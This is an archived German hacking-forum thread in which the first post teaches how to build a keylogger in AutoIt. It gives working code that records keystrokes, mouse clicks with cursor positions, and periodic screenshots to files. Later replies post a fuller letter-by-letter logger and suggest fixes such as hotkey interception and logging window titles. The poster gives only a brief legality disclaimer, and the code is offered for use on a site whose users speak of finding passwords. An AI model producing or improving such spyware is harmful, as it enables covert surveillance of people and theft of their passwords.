PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [AutoIt] Key Logger Tutorial



V!ruS
15.07.2008, 19:58
Key Logger Tutorial mit AutoIt

Vorweg möchte ich noch ein paar Dinge sagen...
Ich zeige in diesem Turorial nicht wie man sich einen fertigen Key Logger baut, sondern lediglich die Funtionen die ihr benötigt! In eine GUI einfügen denke ich sollte jeder können der sich mit AutoIt schonmal näher befasst hat.
Ich werde auch keine Links für Compiler etc. posten, AutoIt Compiler wie Scite findet man bei Google sehr schnell! Ihr müsst euch für dieses Tutorial quasi alle nötigen Programme selbst besorgen, aber für dieses Tutorial ist zum glück kein Compiler zwingend!
AutoIt ist noch eine sehr neue Scriptsprache deswegen wird dieser Key Logger von der Qualität anderer abweichen!
Sämtliche Kommentare wie "Den kann man doch nicht gebrauchen" oder ähnliches könnt ihr euch sparen, denn ich mache das Tutorial freiwillig für die, die AutoIt lernen bzw. können und etwas dazulernen wollen, auf Kommentare werde ich deshalb auch nicht weiter eingehen!

Was ist ein Keylogger?

Key Logger sind Programme die, die Tastatur überwachen und Tastendrücke überprüfen und ihre Ergebnisse in eine Datei schreiben. Im Laufe der Zeit wurden auch Key Logger gebaut die Screenshots machen können oder Mausclicks aufzeichneten. Heutzutage sind Key Logger auch mit FTP Upload Funtkionen und vielem mehr ausgestattet sie dienen weitesgehend dazu den eigenen Computer zu überwachen oder Passwörter herauszufinden, was jedoch auch sehr schnell mit einer Anzeige, des 0pfers beendet werden kann, denn Key Logger sind nur für die Überwachung des eigenen Heim Computers oder eines eigenen Firmen Computers o.ä. erlaubt!

Was ist AutoIt?

AutoIt ist eine Sriptsprache die noch sehr neu ist, sie ist in C++ geschrieben und bietet dem Heim- oder Hobby- Scripter viele Möglichkeiten zur Automatisierung vieler Dinge am Computer, dazu ist AutoIt auch noch hervorragend für Anfänger geeignet, denn hier kann man auch mit ein paar Wochen übung stolze Werke meistern, jedoch werden AutoIt Porgramme meist von Virenprogrammen und Firewalls blockiert, da sie als Viren erkannt werden, dies ist eine schwere Last der Scriptsprache AutoIt.

Tutorial

In diesem Tutorial zeige ich euch wie ihr Screenshots, Mausaufzeichnungen und Tastendrücke aufzeichnen könnt, jedoch keine Uploadfunktionen für FTP oder E-Mail Funktionen!

Als allererstes beginnen wir einmal mit dem wichtigsten Teil, der Tastaturaugzeichnung, hierfügr benötigen wir den _IsPressed Befehl, dieser kann für uns Maus- und Tastaturereignisse aufzeichnen.
Für diesen Code müsst ihr die Misc.au3 in der ersten Zeile includen!

_IsPressed:
Der _IsPressed() - Befehl ist für einen AutoIt Keylogger der wichtigste Befehl er überprüft, mithilfe einer If-Schleife, ob eine Taste gedrückt wurde. In der Klammer hinter dem Befehl müssen folgendes enthalten sein:
("Hex-Code eurer Taste(Hex-Code des Zeichens der Taste)","Die User32 Dll bei Windows, bei Linux wäre das eine andere!")

Hier ist einmal ein kleiner Code wie ihr die Taste "1" aufzeichnen könnt:


#Include <Misc.au3>

_Key1()

Func _Key1()
While 1
If _IsPressed("31",DllOpen("user32.dll")) Then
FileWrite("Log.txt"," 1")
Sleep(100)
EndIf
Sleep(5)
WEnd
EndFunc

So in diesem Code seht ihr das der _IsPressed befehl bei einem Keylogger immer mit einer If-Schleife überprüft wird. Wenn die Taste "1" gedrückt wird, wird in die Datei "Log.txt" eine 1 geschrieben. Falls nicht läuft die While-Schleife in der das ganze im 5Milisekundentakt überprüft wird, weiter.

Wie füge ich dort jetzt noch einen Key ein? Das ist ganz einfach mit einer erweiterung der If-Schleife bei einer weiteren Taste sähe das ganze nun so aus:


#Include <Misc.au3>

_Key1and2()

Func _Key1and2()
While 1
If _IsPressed("31",DllOpen("user32.dll")) Then
FileWrite("Log.txt"," 1")
Sleep(100)
ElseIf _IsPressed("32",DllOpen("user32.dll")) Then
FileWrite("Log.txt"," 2")
Sleep(120)
EndIf
Sleep(5)
WEnd
EndFunc

Die Funktion _Key1and2() könnt ihr natürlich nach eurem belieben nach nennen! So wie ihr seht ist in der If-Schleife nun eine ElseIf zu finden anders als in C\C++ ein weiteres If. Der rest unter dem ElseIf entspricht dem ersten If!
Wenn ihr nun noch einen Key überprüfen wollt fügt einfach ein weiteres ElseIf mit eurem Key ein!

Ihr könnt eure Aufzeichnungen natürlich auch in einem Log oder einer Ini speichern, eigentlich in jeder Datei, ich bevorzuge jedoch den FileWrite() Befehl, denn dort kann man die aufgezeichneten Keys am besten lesen.

Damit wäre der Teil Tastaturaufzeichnung fertig!

Als nächstes kommt die Mausaufzeichnung, hier ist die Überprüfung eines Tastendrucks gleich wie bei der Tastaturaufzeichnung. Der Hex-Code für die linke Maustaste: "01", der für die rechte: "02". Nun wollen wir aber nicht nur einen Mausdruck aufzeichnen sondern gleich noch die Position des Coursers zur derzeitigen Zeit, dafür benutzen wir den Befehl MouseGetPos(), mit einer Variable kombiniert kann man mit ihm Kinderleicht die Position des Mauszeigers herausfinden.
Hier ein Code wie man die Position des Mauszeigers herausfindet:


#include <Misc.au3>
#include <File.au3>

_Pos()

Func _Pos()
While 1
$Pos = MouseGetPos()
If _IsPressed("01") Then
_FileWriteLog("MouseLog.log","'left:'" & $Pos[0] & ":" & $Pos[1])
Sleep(120)
EndIf
WEnd
EndFunc

So hier findet ihr auch noch den Befehl _FileWriteLog, dieser Befehl ist am übersichtlichsten bei einer Mausaufzeichnung, denn er schreibt immer wieder in eine neue Reihe + Datum! Aber nun zu MauseGetPos() wie ihr seht haben wir nun die Variable "$Pos" vor MouseGetPos() um die Daten vom MouseGetPos() Befehl richtig zu entnehmen müssen wir $Pos[0] für die X-Position und $Pos[1] für die Y-Position benutzen, das seht ihr ja auch in dem _FileWriteLog Befehl!

So eine weitere Maustaste wie bei der Tastatur einfügen! Das war dann auch schon die Mausaufzeichnung.

Nun kommen wir zum spannendsten Teil, die Screenshots, das ist leichter als gedacht denn wir brauchen nur ein paar Befehle die sich in der ScreenCapture.au3 befinden und zwar wären das:
_ScreenCapture_Capture und _ScreenCapture_SaveImage

_ScreenCapture_Capture:
Macht einen Screenshot vom aktuellen Desktop. Bei unserem Keylogger können die Klammern leer bleiben!

_ScreenCapture_SaveImage.
Speichert den aktuellen Capture ab.

Code eines Screen Captures:


#include <ScreenCapture.au3>

Global $Nr = 0

_Cap()

Func _Cap()
While 1
$Nr = $Nr+1
Sleep(10000)
$Cap= _ScreenCapture_Capture()
_ScreenCapture_SaveImage("Screen" & $Nr & ".gif",$Cap)
WEnd
EndFunc

So hier haben wir _ScreenCapture_Capture() mit einer Variable zugewiesen und sie $Cap genannt. _ScreenCapture_SaveImage("Screen" & $Nr & ".gif",$Cap), hier wird ein Screenshot mit der $Nr des aktuellen While-Schleifen durchlaufs gemacht und als .Gif gespeichert(Sehr wenig Speicherverbrauch) hier finden wir auch die Variable $Cap sie ist dafür da das der Speicherbefehl weiss welchen Capture er abspechern soll. Hier wird auch nicht mehr die Misc.au3 benötigt, da wir nun auch keine Tasten mehr abfragen wollen!

$Nr = $Nr +1 usw. muss ich glaube ich nicht erklären der Sleep Befehl ist der Abstandhalter zwischen den Screenshots hier könnt ihr natürlich auch eine genaue Zeitangabe mit einer If-Schleife oder sonstigem reinmachen, das bleibt euch überlassen!

Das war auch schon mein Tutorial!

Viel spass und Erfolg beim Coden!
V!ruS

$ubZer0
16.07.2008, 16:05
Dein tut ? den namen drunterschreiben macht den text nicht zu deinem geistigen eigentum, das tut is alt und nicht von dir n44p!

inyourface
16.07.2008, 16:30
Schick geklaut ;)
Kannst mir auch erklären wie man mit AutoIT -> Windows API coded? :>
danke

Dexx
16.07.2008, 16:32
er hat einen erklärt wie das geht und das ist sinn eines tutorials.
und wenn man z.b. ein tut macht wie man sich bei funpic regisriert und dann ne webspell page on stellt. ist es dann acuh nciht sein eigenes tut weil einen funpic nicht gehört bzw. webspell und sonstiges?

$ubZer0
20.07.2008, 20:56
er hat einen erklärt wie das geht und das ist sinn eines tutorials.
und wenn man z.b. ein tut macht wie man sich bei funpic regisriert und dann ne webspell page on stellt. ist es dann acuh nciht sein eigenes tut weil einen funpic nicht gehört bzw. webspell und sonstiges?

was issen das bitte für ne logik oO

man hätte schreiben können, ich hab hier was nützliches gefunden was bestimmt jemand brauchen kann etc.

V!ruS
21.07.2008, 10:42
Oo okay ich habe mir Zeit genommen das Tut zu schreiben und Ich habe es nicht geschrieben um mir jetzt anzuhören zu müssen, dass es kopiert sei! Ich habe jeden einzelnen Satz davon selbst geschrieben! Schicke mir doch bitte mal die Seite oder das Dokument aus dem Ich es kopiert habe!
Das Tut kann garnicht alt sein da Ich es an dem Tage erst geschrieben habe als Ich es hier reingestellt habe, kommt evtl. nen bisschen neid bei dir auf? Oder was ist mit dir los, bei der Anmeldung zu diesem Forum stand doch ganz klar, dass man das mindestalter von 12 erreicht haben muss, was bei dir wohl nicht der Fall sein sollte...

$ubZer0
22.07.2008, 22:03
edited... will nich streiten.

es gibt ein offizielles autoit keylogger tut in verschiedenen versionen und ich dachte das wäre dieses, ich hab jetzt nicht nachgeschaut aber ich geh mald avon aus dass du es nicht geklaut hast wenn du schons agst dass du es an dem tag gebaut hast,

was ich jedoch schade finde ist dass jetzt wieder en haufen scriptkiddies
einen neuen weg gefunden haben ne geniale sache wie autoit3
für so ne scheisse zu missbrauchen.

th3flood
14.08.2008, 18:55
aber leider werden die meisten autoit programme von einem av immer erkannt, egal was es ist, auch wenn es nur ein harmloser code ist, min. 1-3
av's meckern immer rum

da hast du recht, man kann eigentlich richtig tolle sachen damit coden, die auch nützlich sind aber leider wurde autoit schon zu oft für "malware" etc missbraucht und deshalb meckern einige AVs fast immer rum.

Betonamujin
13.09.2008, 23:33
Danke erstmal :)
nice tut
ich hab jetzt letzens mit dieser keyliste einen keylogger programmiert.
bei mir ist das Problem das oft beim aufzeichnen wenn ich z.B. HalloWelt schreibe
zeichnet er folgendes in die log.txt
haallowwlt
es tauchen also Wörter doppelt auf und einige gar nicht?
wie kann man sowas verhindern?

Betonamujin
22.09.2008, 22:13
Keiner der mir weiterhelfen kann? :/

Saturon
24.11.2008, 08:29
Also ich find das Tut nicht schlecht. Man kann hier und da noch etwas verbessern aber im großen und ganzen nicht schlecht!

mfg -=S4tur0n=-

Sleik
27.11.2008, 18:28
Hi ,
Thx Gutes Tutorial , hat mir weitergeholfen .
@Betonamujin (http://free-hack.com/member.php?u=48015) :
Denke mal , du hast nen bisschen zu wenig oder nen bisschen zu zuviel Sleeps eingebaut . Am besten postes du mal deinen bis jetztigen Source dann können dir die Leute auch besser weiterhelfen .
mfg
sleik

boss_scripter
01.09.2009, 17:25
sag mal kannst du mir auch eine möglichkeit nennen wie ich das verbinde..?? also dir hotkeys und die screens..

habe da was das aber nicht hinhaut..


sag mal kannst du mir auch eine möglichkeit nennen wie ich das verbinde..?? also dir hotkeys und die screens..

habe da was das aber nicht hinhaut..
#include <File.au3>
#Include <Misc.au3>
#include <ScreenCapture.au3>

_Key1and2()


Global $Nr = 0




Func _Key1and2()
While 1
$Nr = $Nr+1
Sleep(10000)
$Cap= _ScreenCapture_Capture()
_ScreenCapture_SaveImage("Screen" & $Nr & ".gif",$Cap)

If _IsPressed("31",DllOpen("user32.dll")) Then
FileWrite("Log.txt","1")
Sleep(100)
ElseIf _IsPressed("32",DllOpen("user32.dll")) Then
FileWrite("Log.txt","2")
Sleep(100)
ElseIf _IsPressed("33",DllOpen("user32.dll")) Then
FileWrite("log.txt","3")
Sleep(100)
ElseIf _IsPressed("34",DllOpen("user32.dll")) Then
FileWrite("Log.txt","4")
Sleep(100)
ElseIf _IsPressed("35",DllOpen("user32.dll")) Then
FileWrite("log.txt","5")
Sleep(100)
ElseIf _IsPressed("36",DllOpen("user32.dll")) Then
FileWrite("Log.txt","6")
Sleep(100)
ElseIf _IsPressed("37",DllOpen("user32.dll")) Then
FileWrite("log.txt","7")
Sleep(100)
ElseIf _IsPressed("38",DllOpen("user32.dll")) Then
FileWrite("Log.txt","8")
Sleep(100)
ElseIf _IsPressed("39",DllOpen("user32.dll")) Then
FileWrite("log.txt","9")
Sleep(100)
ElseIf _IsPressed("30",DllOpen("user32.dll")) Then
FileWrite("Log.txt","0")
Sleep(100)
ElseIf _IsPressed("0D",DllOpen("user32.dll")) Then
_FileWriteLog ("log.txt","{enter}")
Sleep(100)
ElseIf _IsPressed("20",DllOpen("user32.dll")) Then
FileWrite("log.txt"," ")
Sleep(100)
ElseIf _IsPressed("41",DllOpen("user32.dll")) Then
FileWrite("Log.txt","a")
Sleep(100)
ElseIf _IsPressed("42",DllOpen("user32.dll")) Then
FileWrite("log.txt","b")
Sleep(100)
ElseIf _IsPressed("43",DllOpen("user32.dll")) Then
FileWrite("Log.txt","c")
Sleep(100)
ElseIf _IsPressed("44",DllOpen("user32.dll")) Then
FileWrite("log.txt","d")
Sleep(100)
ElseIf _IsPressed("45",DllOpen("user32.dll")) Then
FileWrite("Log.txt","e")
Sleep(100)
ElseIf _IsPressed("46",DllOpen("user32.dll")) Then
FileWrite("log.txt","f")
Sleep(100)
ElseIf _IsPressed("47",DllOpen("user32.dll")) Then
FileWrite("Log.txt","g")
Sleep(100)
ElseIf _IsPressed("48",DllOpen("user32.dll")) Then
FileWrite("log.txt","h")
Sleep(100)
ElseIf _IsPressed("49",DllOpen("user32.dll")) Then
FileWrite("Log.txt","i")
Sleep(100)
ElseIf _IsPressed("4A",DllOpen("user32.dll")) Then
FileWrite("log.txt","j")
Sleep(100)
ElseIf _IsPressed("4B",DllOpen("user32.dll")) Then
FileWrite("log.txt","k")
Sleep(100)
ElseIf _IsPressed("4C",DllOpen("user32.dll")) Then
FileWrite("Log.txt","l")
Sleep(100)
ElseIf _IsPressed("4D",DllOpen("user32.dll")) Then
FileWrite("log.txt","m")
Sleep(100)
ElseIf _IsPressed("4E",DllOpen("user32.dll")) Then
FileWrite("Log.txt","n")
Sleep(100)
ElseIf _IsPressed("4F",DllOpen("user32.dll")) Then
FileWrite("log.txt","o")
Sleep(100)
ElseIf _IsPressed("50",DllOpen("user32.dll")) Then
FileWrite("Log.txt","p")
Sleep(100)
ElseIf _IsPressed("51",DllOpen("user32.dll")) Then
FileWrite("log.txt","q")
Sleep(100)
ElseIf _IsPressed("52",DllOpen("user32.dll")) Then
FileWrite("Log.txt","r")
Sleep(100)
ElseIf _IsPressed("53",DllOpen("user32.dll")) Then
FileWrite("log.txt","s")
Sleep(100)
ElseIf _IsPressed("54",DllOpen("user32.dll")) Then
FileWrite("Log.txt","t")
Sleep(100)
ElseIf _IsPressed("55",DllOpen("user32.dll")) Then
FileWrite("log.txt","u")
Sleep(100)
ElseIf _IsPressed("56",DllOpen("user32.dll")) Then
FileWrite("log.txt","v")
Sleep(100)
ElseIf _IsPressed("57",DllOpen("user32.dll")) Then
FileWrite("Log.txt","w")
Sleep(100)
ElseIf _IsPressed("58",DllOpen("user32.dll")) Then
FileWrite("log.txt","x")
Sleep(100)
ElseIf _IsPressed("59",DllOpen("user32.dll")) Then
FileWrite("Log.txt","y")
Sleep(100)
ElseIf _IsPressed("5A",DllOpen("user32.dll")) Then
FileWrite("log.txt","z")
Sleep(100)
ElseIf _IsPressed("2E",DllOpen("user32.dll")) Then
FileWrite("log.txt","DEL")
Sleep(100)
ElseIf _IsPressed("1B",DllOpen("user32.dll")) Then
FileWrite("log.txt","ESC")
Sleep(100)
ElseIf _IsPressed("14",DllOpen("user32.dll")) Then
FileWrite("log.txt","GROSS")
Sleep(100)
ElseIf _IsPressed("0C",DllOpen("user32.dll")) Then
FileWrite("log.txt","ENTF")
Sleep(100)
ElseIf _IsPressed("08",DllOpen("user32.dll")) Then
FileWrite("log.txt","LÖSCH")
Sleep(100)

EndIf
Sleep(5)
WEnd
EndFunc

krusty
01.09.2009, 17:47
ich finde es besser hotkeys mit der hotkey funktion von autoIT zu nehen, dann hat man auch nicht das problem, dass tasten nicht geloggt werden, oder zu viel geloggt werden.
Edit:
und warumd as nicht funktioniert ?
ganz einfach
Sleep(10000)
das lässt das programm 10 sek warten, jedes mal, nach dem die schleife einmal durch gelaufen ist, das ist total schwachsinnig.

boss_scripter
01.09.2009, 19:00
kannst du mir einen vorschlag machen wie es besser wäre..

krusty
01.09.2009, 19:12
ufffff hab gerad kein autoIT druff,
hotkeyset("A","a_schreiben")
hotkeyset("B","b_schreiben")
func a_schreiben()
send("A")
writetext("log.txt","A")
end func
func b_schreiben()
Send(B)
writetext("log,txt","B")
end func
while 1
sleep(100)
wend



sry kann autoIT nicht mehr so ^^ ist schon lange her ^^
man könnte dir hotkeys auch in ner schleife erstellen, aber bin in autoit net mehr so fitt, so hab ichs früher auf jedenfall gemacht ^^ Sobald der Hotkey ausgeführt wird, wird die funktion ausgeführt und diese schreibt dann den text in die datei. Weil (meines wissens nach) der hotkeybefehl den tastendruck abfängt und nicht weiterleitet muss die Taste anschließen mit dem Send befehl gesendet werden.

boss_scripter
02.09.2009, 13:46
es haut ja alles hin er schreibt mir ja alles in die txt datei rein bloß soll er noch die funktion bekommen das er aller 10 secunden einen screen macht.. das soll nur eingebaut werden und da liegt der hase begraben...

krusty
02.09.2009, 17:43
dann mach in die schleife sleep(1000) und dann ste screen funktion. Das programm verlässt jedes mal die schleifen, wenn ein Hotkey gedrückt wird.
noch was lustiges, kannst ja immer noch das aktuelle fenster anzeigen lassen, das hatte ich früher gemachtn mit getwindowstitle() oder so.

sarex
02.09.2009, 18:33
dann mach in die schleife sleep(1000) und dann ste screen funktion. Das programm verlässt jedes mal die schleifen, wenn ein Hotkey gedrückt wird.
noch was lustiges, kannst ja immer noch das aktuelle fenster anzeigen lassen, das hatte ich früher gemachtn mit getwindowstitle() oder so.

das net so gut mit dem sleep(1000)
da so ja das ganze programm für 10 seks angehalten wird mach doch lieber ne abfrage...

boss_scripter
02.09.2009, 21:43
wie sollter dies aussehen ..??

krusty
02.09.2009, 22:40
ne, wenne in hotkey gedrückt wird, dann springt das programm aus dem slepp in die funktion.

sarex
03.09.2009, 17:52
ja aber der user drückt ja immer tasten so kannst du doch net 10 seks warten

boss_scripter
07.09.2009, 13:56
und wie löse ich das problem.. das er screens macht und gleichzeitig noch die tasten mitschreibt..??

krusty
07.09.2009, 19:22
threading, aber kp davon in autoit.
ist halt nicht alles möglich.

boss_scripter
09.09.2009, 13:52
so stimmt das mal nicht.. pls help..

HackerZ-Online
01.02.2010, 22:55
Das liegt vileicht z.b am Sleep(100) versuch mal andere werte aus . vielicht funkzuniert dein keylogeer dann besser .

element159
14.05.2010, 17:50
ich find des tut gut ich weiß nich was ihr habt aber naja